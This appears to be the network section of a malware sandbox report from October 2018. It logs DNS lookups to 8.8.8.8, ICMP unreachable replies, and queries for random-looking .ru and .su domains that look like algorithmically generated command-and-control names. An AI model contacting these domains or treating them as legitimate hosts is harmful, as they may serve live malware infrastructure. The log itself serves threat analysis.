Oct 30, 2018 14:44:02.600317955 CET	58452	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:02.686832905 CET	53	58452	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:02.773525953 CET	53	58452	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:03.194094896 CET	62789	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:03.454082012 CET	53	62789	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:03.961067915 CET	52821	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:04.959304094 CET	52821	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:04.997423887 CET	53	52821	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:05.045058012 CET	53	52821	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:05.505368948 CET	57220	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:05.536722898 CET	53	57220	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:06.053565979 CET	55275	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:06.488668919 CET	53	55275	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:06.992882967 CET	49792	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:07.029288054 CET	53	49792	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:07.538192034 CET	64450	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:07.570357084 CET	53	64450	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:08.082632065 CET	59288	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:08.516493082 CET	53	59288	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:09.024504900 CET	56334	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:09.101088047 CET	53	56334	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:09.616688967 CET	49222	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:09.883750916 CET	53	49222	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:10.403215885 CET	50035	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:10.440522909 CET	53	50035	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:10.949716091 CET	53767	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:10.982006073 CET	53	53767	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:11.494585037 CET	56204	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:12.491522074 CET	56204	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:12.578531981 CET	53	56204	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:13.087918043 CET	62728	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:13.521929979 CET	53	62728	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:13.970046997 CET	53	56204	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:14.129113913 CET	62702	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:15.115783930 CET	62702	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:15.238991976 CET	53	62702	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:15.741638899 CET	56518	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:15.811980963 CET	53	56518	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.246850967 CET	53	62702	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.316071033 CET	53636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:16.348659992 CET	53	53636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:16.856439114 CET	62653	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:16.898121119 CET	53	62653	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:17.417802095 CET	49317	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:17.544297934 CET	53	49317	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:39.075078011 CET	56065	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:39.109126091 CET	53	56065	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:39.614347935 CET	53343	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:39.646687031 CET	53	53343	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:40.167870045 CET	58445	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:40.219932079 CET	53	58445	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:40.723294020 CET	64258	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:40.840234995 CET	53	64258	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:40.989151955 CET	52886	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:41.016239882 CET	53	52886	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:41.138250113 CET	57165	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:41.356367111 CET	53	57165	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:41.975435019 CET	62949	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:42.007827997 CET	53	62949	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:42.525129080 CET	55636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:42.558135986 CET	53	55636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:43.072541952 CET	58107	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:43.106122971 CET	53	58107	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:43.611255884 CET	63629	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:43.643995047 CET	53	63629	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:44.148000956 CET	58779	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:44.181570053 CET	53	58779	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:44.696399927 CET	53458	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:44.733213902 CET	53	53458	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:45.241278887 CET	65037	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:45.277750015 CET	53	65037	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:45.788695097 CET	57275	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:45.825709105 CET	53	57275	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:46.333153963 CET	55434	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:46.477309942 CET	53	55434	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:46.727534056 CET	53672	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:46.848537922 CET	53	53672	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:47.473509073 CET	56277	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:47.594058990 CET	53	56277	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:47.831434965 CET	65375	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:47.950871944 CET	53	65375	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:48.569845915 CET	54928	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:48.705081940 CET	53	54928	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:49.213727951 CET	49535	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:49.432180882 CET	53	49535	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:49.674843073 CET	54324	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:49.822285891 CET	53	54324	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:50.446424007 CET	61241	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:50.483087063 CET	53	61241	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:50.993984938 CET	52425	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:51.030191898 CET	53	52425	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:51.539624929 CET	50015	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:51.599807978 CET	53	50015	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:52.114121914 CET	59668	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:52.150626898 CET	53	59668	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:52.664256096 CET	49469	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:52.702337027 CET	53	49469	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:53.257920980 CET	59260	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:53.295310974 CET	53	59260	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:53.807739973 CET	65308	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:53.843633890 CET	53	65308	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:54.351591110 CET	62610	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:54.388540983 CET	53	62610	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:54.899790049 CET	64965	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:54.936561108 CET	53	64965	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:55.444078922 CET	52658	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:55.564903021 CET	53	52658	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:55.806869030 CET	64829	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:55.929802895 CET	53	64829	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:56.552531004 CET	59891	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:56.686451912 CET	53	59891	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:57.190901041 CET	52636	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:57.230895042 CET	53	52636	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:57.745301008 CET	64725	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:57.780819893 CET	53	64725	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:58.292757988 CET	57462	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:58.325056076 CET	53	57462	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:58.839458942 CET	50515	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:58.874087095 CET	53	50515	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:59.382998943 CET	60750	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:59.415515900 CET	53	60750	8.8.8.8	192.168.1.81
Oct 30, 2018 14:44:59.930283070 CET	64299	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:44:59.963258028 CET	53	64299	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:00.477106094 CET	54632	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:00.509448051 CET	53	54632	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:01.024931908 CET	63890	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:01.057735920 CET	53	63890	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:01.571345091 CET	54143	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:01.605123997 CET	53	54143	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:02.122265100 CET	51153	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:02.154679060 CET	53	51153	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:02.668431997 CET	55622	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:02.783416033 CET	53	55622	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:03.028057098 CET	63253	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:03.144932032 CET	53	63253	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:03.773464918 CET	63342	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:03.808666945 CET	53	63342	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:04.322597980 CET	49455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:04.355417013 CET	53	49455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:04.867233038 CET	63041	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:04.988413095 CET	53	63041	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:05.238009930 CET	58308	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:05.363615036 CET	53	58308	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:05.993982077 CET	54267	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:06.027739048 CET	53	54267	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:06.557117939 CET	57963	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:06.591079950 CET	53	57963	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:07.102226019 CET	64980	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:07.134207964 CET	53	64980	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:07.643244028 CET	60824	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:07.675873995 CET	53	60824	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:08.219980001 CET	57911	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:08.251848936 CET	53	57911	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:08.752757072 CET	64061	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:08.785459995 CET	53	64061	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:09.292244911 CET	60488	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:09.324549913 CET	53	60488	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:09.830091000 CET	54147	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:09.863439083 CET	53	54147	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:23.507791996 CET	61156	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:24.655889034 CET	61156	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:24.688843966 CET	53	61156	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:25.033915043 CET	53	61156	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:35.779735088 CET	54538	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:35.806256056 CET	53	54538	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:36.317698956 CET	55953	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:36.330229044 CET	53	55953	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:36.837670088 CET	63972	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:36.850096941 CET	53	63972	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:38.061872005 CET	51612	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:38.088238955 CET	53	51612	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:39.496197939 CET	50612	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:39.524084091 CET	53	50612	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:40.089312077 CET	63350	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:40.603209972 CET	53	63350	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:41.514748096 CET	61908	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:42.506903887 CET	61908	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:42.533133984 CET	53	61908	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:42.555008888 CET	53	61908	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:43.229598999 CET	63092	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:43.277105093 CET	53	63092	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:44.044825077 CET	52925	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:44.057835102 CET	53	52925	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:45.310434103 CET	49590	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:45.337249994 CET	53	49590	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:46.173456907 CET	54431	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:46.294625044 CET	53	54431	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:46.943955898 CET	51718	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:46.970144987 CET	53	51718	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:47.492645025 CET	58806	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:47.531246901 CET	53	58806	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:48.055166960 CET	61995	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:48.067490101 CET	53	61995	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:49.228008986 CET	51269	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:49.662877083 CET	53	51269	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:50.444950104 CET	65102	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:50.472693920 CET	53	65102	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:51.054582119 CET	54007	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:51.067568064 CET	53	54007	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:51.620280981 CET	56573	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:52.615228891 CET	56573	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:52.641609907 CET	53	56573	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:53.152689934 CET	53	56573	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:53.179325104 CET	54567	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:53.206887007 CET	53	54567	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:54.311916113 CET	55898	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:54.753889084 CET	53	55898	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:55.350929022 CET	50151	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:55.377645969 CET	53	50151	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:55.994779110 CET	63628	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:56.990833044 CET	63628	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:57.017724037 CET	53	63628	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:57.556776047 CET	53	63628	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:57.570213079 CET	65345	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:57.597084045 CET	53	65345	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:58.086858988 CET	54720	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:58.098874092 CET	53	54720	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:59.087579966 CET	58528	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:59.114217997 CET	53	58528	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:59.601772070 CET	50455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:00.600862026 CET	50455	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:00.634063959 CET	53	50455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:00.754528046 CET	53	50455	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:01.150521040 CET	64169	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:01.259134054 CET	53	64169	8.8.8.8	192.168.1.81
Oct 30, 2018 14:46:01.759588957 CET	59138	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:46:01.787024975 CET	53	59138	8.8.8.8	192.168.1.81

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 30, 2018 14:43:59.735084057 CET	62.46.166.133	192.168.1.81	a3d0	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:00.030425072 CET	91.13.42.157	192.168.1.81	2093	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:02.729423046 CET	62.46.166.133	192.168.1.81	a3d0	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:02.773708105 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:03.104373932 CET	91.13.42.157	192.168.1.81	2093	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:04.079229116 CET	181.139.50.179	192.168.1.81	a75d	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:04.080195904 CET	181.139.50.179	192.168.1.81	a75d	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:05.045295954 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:07.413213968 CET	156.225.143.140	192.168.1.81	eb83	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:09.174815893 CET	77.21.59.155	192.168.1.81	51b3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:10.337085009 CET	93.215.55.68	192.168.1.81	825	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:10.411595106 CET	156.225.143.140	192.168.1.81	eb83	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:12.170978069 CET	77.21.59.155	192.168.1.81	51b3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:13.349723101 CET	93.215.55.68	192.168.1.81	825	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:13.970191002 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:16.246929884 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:27.243455887 CET	45.207.239.146	192.168.1.81	dc77	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:30.258264065 CET	45.207.239.146	192.168.1.81	dc77	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:30.323787928 CET	97.64.124.175	192.168.1.81	9d05	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:32.220140934 CET	160.3.148.74	192.168.1.81	b562	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:33.336163998 CET	97.64.124.175	192.168.1.81	9d05	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:35.219710112 CET	160.3.148.74	192.168.1.81	b562	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:41.567773104 CET	84.186.254.110	192.168.1.81	3ef3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:44.554229021 CET	84.186.254.110	192.168.1.81	3ef3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:47.163157940 CET	208.111.117.235	192.168.1.81	57a	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:47.167972088 CET	208.111.117.235	192.168.1.81	57a	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:48.439220905 CET	122.26.254.109	192.168.1.81	ae08	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:50.275815010 CET	101.80.138.255	192.168.1.81	af6e	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:51.448143959 CET	122.26.254.109	192.168.1.81	ae08	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:52.434396982 CET	37.138.198.66	192.168.1.81	563d	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:53.077439070 CET	183.213.99.131	192.168.1.81	90e1	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:44:53.285531044 CET	101.80.138.255	192.168.1.81	af6e	(Host unreachable)	Destination Unreachable
Oct 30, 2018 14:44:53.466725111 CET	160.2.64.146	192.168.1.81	942c	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:54.318294048 CET	91.62.98.79	192.168.1.81	f185	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:55.522413015 CET	37.138.198.66	192.168.1.81	563d	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:56.481609106 CET	160.2.64.146	192.168.1.81	942c	(Unknown)	Destination Unreachable
Oct 30, 2018 14:44:57.329606056 CET	91.62.98.79	192.168.1.81	f185	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:00.050098896 CET	87.159.188.4	192.168.1.81	354b	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:03.045414925 CET	87.159.188.4	192.168.1.81	354b	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:04.367753029 CET	198.98.215.121	192.168.1.81	4542	(Time to live exceeded in transit)	Time Exceeded
Oct 30, 2018 14:45:07.368055105 CET	198.98.215.121	192.168.1.81	4542	(Time to live exceeded in transit)	Time Exceeded
Oct 30, 2018 14:45:10.374835014 CET	93.229.55.57	192.168.1.81	9b44	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:12.360527039 CET	84.159.215.104	192.168.1.81	35d3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:12.692573071 CET	108.170.40.36	192.168.1.81	53e4	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:13.079289913 CET	87.162.181.164	192.168.1.81	8319	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:13.367655993 CET	93.229.55.57	192.168.1.81	9b44	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:15.433178902 CET	84.159.215.104	192.168.1.81	35d3	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:15.746896029 CET	108.170.40.36	192.168.1.81	53e4	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:16.115297079 CET	87.162.181.164	192.168.1.81	8319	(Unknown)	Destination Unreachable
Oct 30, 2018 14:45:25.034024954 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:45:42.555087090 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:45:53.152818918 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:45:57.556894064 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable
Oct 30, 2018 14:46:00.754674911 CET	192.168.1.81	8.8.8.8	cf7e	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Oct 30, 2018 14:44:00.446213007 CET	192.168.1.81	8.8.8.8	0x840c	Standard query (0)	iugouehoeohfh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:01.040843010 CET	192.168.1.81	8.8.8.8	0x3d5d	Standard query (0)	ugoheoheufefu.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:01.611397028 CET	192.168.1.81	8.8.8.8	0xd953	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:02.600317955 CET	192.168.1.81	8.8.8.8	0xd953	Standard query (0)	iefigjgdidisi.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:03.194094896 CET	192.168.1.81	8.8.8.8	0x9de2	Standard query (0)	ouegouehouseh.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:03.961067915 CET	192.168.1.81	8.8.8.8	0xe2ea	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:04.959304094 CET	192.168.1.81	8.8.8.8	0xe2ea	Standard query (0)	riifndisojdoj.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:05.505368948 CET	192.168.1.81	8.8.8.8	0xb459	Standard query (0)	inigbiseijfji.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:06.053565979 CET	192.168.1.81	8.8.8.8	0xc5f7	Standard query (0)	udunfjgussiid.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:06.992882967 CET	192.168.1.81	8.8.8.8	0x5eaf	Standard query (0)	eiisisiysjsif.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:07.538192034 CET	192.168.1.81	8.8.8.8	0xb7ca	Standard query (0)	iriototooeuwo.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:08.082632065 CET	192.168.1.81	8.8.8.8	0x1c8a	Standard query (0)	nkihigheogojg.ru	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:09.024504900 CET	192.168.1.81	8.8.8.8	0x323e	Standard query (0)	iugouehoeohfh.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:09.616688967 CET	192.168.1.81	8.8.8.8	0x2c31	Standard query (0)	ugoheoheufefu.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:10.403215885 CET	192.168.1.81	8.8.8.8	0xa6ce	Standard query (0)	iefigjgdidisi.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:10.949716091 CET	192.168.1.81	8.8.8.8	0x1fda	Standard query (0)	ouegouehouseh.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:11.494585037 CET	192.168.1.81	8.8.8.8	0x8235	Standard query (0)	riifndisojdoj.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:12.491522074 CET	192.168.1.81	8.8.8.8	0x8235	Standard query (0)	riifndisojdoj.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:13.087918043 CET	192.168.1.81	8.8.8.8	0xd433	Standard query (0)	inigbiseijfji.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:14.129113913 CET	192.168.1.81	8.8.8.8	0x7bf5	Standard query (0)	udunfjgussiid.su	A (IP address)	IN (0x0001)
Oct 30, 2018 14:44:15.115783930 CET	192.168.1.81	8.8.8.8	0x7bf5	Standard query (0)	udunfjgussiid.su	A (IP address)	IN (0x0001)
